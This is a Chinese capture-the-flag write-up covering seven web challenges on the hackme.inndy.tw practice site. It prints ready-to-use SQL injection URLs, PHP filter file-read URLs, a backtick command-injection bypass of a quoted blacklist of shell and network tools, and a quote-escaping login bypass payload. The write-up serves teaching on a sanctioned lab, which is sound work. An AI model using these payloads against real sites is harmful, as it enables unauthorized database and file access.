hackme.inndy.tw的19道web题解(上)

目录

  • 写在前面...
  • hide and seek.
  • guestbook.
  • LFI
  • .homepage.
  • ping.
  • scoreboard.
  • login as admin 0
  • 待续...

写在前面

最近发现了一个比较有趣的ctf-oj,给出链接

https://hackme.inndy.tw/

里面有不少web题,我这里因为依照出题人的要求:

本次文章不会直接给出flag,但是会有详细的分析和攻击脚本

0x01 hide and seek

查看源代码即可

0x02 guestbook

简单注入

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,database(),4 -- 1

可以得到数据库名guestbook

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='guestbook' limit 0,1),4 -- 1

得到表名flag

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='flag' limit 1,1),4 -- 1

得到字段名flag

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select flag from flag limit 1,1),4 -- 1

即可拿到flag

0x03 LFI

随便点击出现:

https://hackme.inndy.tw/lfi/?page=pages/index

根据题目名可以知道是读文件

所以读:

https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag

得到

php

Can you read the flag<?php require('config.php'); ?>?

再读

https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config

即可

0x04 homepage

注意源代码151行

<script src="cute.js"></script>

跟进

https://hackme.inndy.tw/cute.js

发现是aaencode

解密得到二维码,扫描即可

0x05 ping

发现黑名单

php

$blacklist = [
            'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
            'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
            'passwd', 'shadow', 'root',
            'z',
            'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
            'xargs', 'PATH',
            '$0', 'proc',
            '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
        ];

发现没有过滤反引号

尝试反引号ls反引号

可以得到

ping: unknown host flag.php

index.php

发现sort没有过滤,并且利用?通配

反引号sort ????????反引号

即可

0x06 scoreboard

抓包发现http头里的x-flag有flag

0x07 login as admin 0

注意到过滤

php

function safe_filter($str)
{
    $strl = strtolower($str);
    if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
        strstr($strl, 'update') || strstr($strl, 'delete')
    ) {
        return '';
    }
    return str_replace("'", "\\'", $str);
}

最后将单引号变成\\'

所以容易构造payload:

username = admin\' || 1=1#

password = 1

进入的是guest,所以admin应该是第二行

所以payload:

username = admin\' || 1=1 limit 1,1#

password = 1

得到flag

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2018-01-30

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏我的博客

ADODB简介以及简单使用

1、adodb数据库类介绍(http://adodb.sourceforge.net/) 虽然 PHP 是建构 Web 系统强有力的工具,但是 PHP 存取数据...

3517
来自专栏用户画像

mysql 模拟四

1.如果一个MySQL的版本号没有后缀,表示该版本已经在很多地方运行一段时间了,而且没有非平台特定的错误报告。我们通常称之为___稳定__版。 

1105
来自专栏杨建荣的学习笔记

关于自动化平台的动态菜单设计

最近几天是马不停蹄的做一些事情,今天计划把通用功能的部分先改进一些,比如说菜单的权限配置。目前使用的方案是用户可以看到所有的菜单,如果没有权限,则返回一个权限不...

4184
来自专栏pydata

mysql使用总结

create database sina default character set utf8mb4 collate utf8mb4_unicode_ci; ...

932
来自专栏深度学习之tensorflow实战篇

hive模糊搜索表

1.hive模糊搜索表 show tables like '*name*'; 2.查看表结构信息 desc formatted table_name; des...

4669
来自专栏杨熹的专栏

5分钟入门MySQL Workbench

之前写了 图解Mac下如何安装管理MySQL 接下来进入下一步,使用Workbench执行sql文件: 1.打开Workbench,主页面上点击要connect...

4285
来自专栏企鹅号快讯

Access+Mssql+Mysql 手工注入基本流程

0x01 Access 注入 ? 判断表名:adminand (select count(*) from admin)>0判断字段名:username,pass...

2175
来自专栏乐沙弥的世界

MongoDB 索引创建

七、更多参考 MongoDB 单键(列)索引 MongoDB 复合索引 MongoDB 多键索引 MongoDB 执行计划获取(db.colle...

2120
来自专栏Django Scrapy

mysql安装GENERALMyISAMSAFETYDATA STORAGEBINARY LOGGINGREPLICATIONCACHES AND LIMITSINNODBLOGGINGFOR SLA

MYSQL数据库安装文档 本文档是MYSQL-5.6.25在CENTOS 6.5 64位版本上安装的文档,经过测试并没有发现问题。 安装以前先查看服务器里是...

3257
来自专栏狂码一生

linux下压缩与解压命令大全

.tar      解包:tar xvf FileName.tar     打包:tar cvf FileName.tar DirName (注:tar是打包,...

4688

扫码关注云+社区

领取腾讯云代金券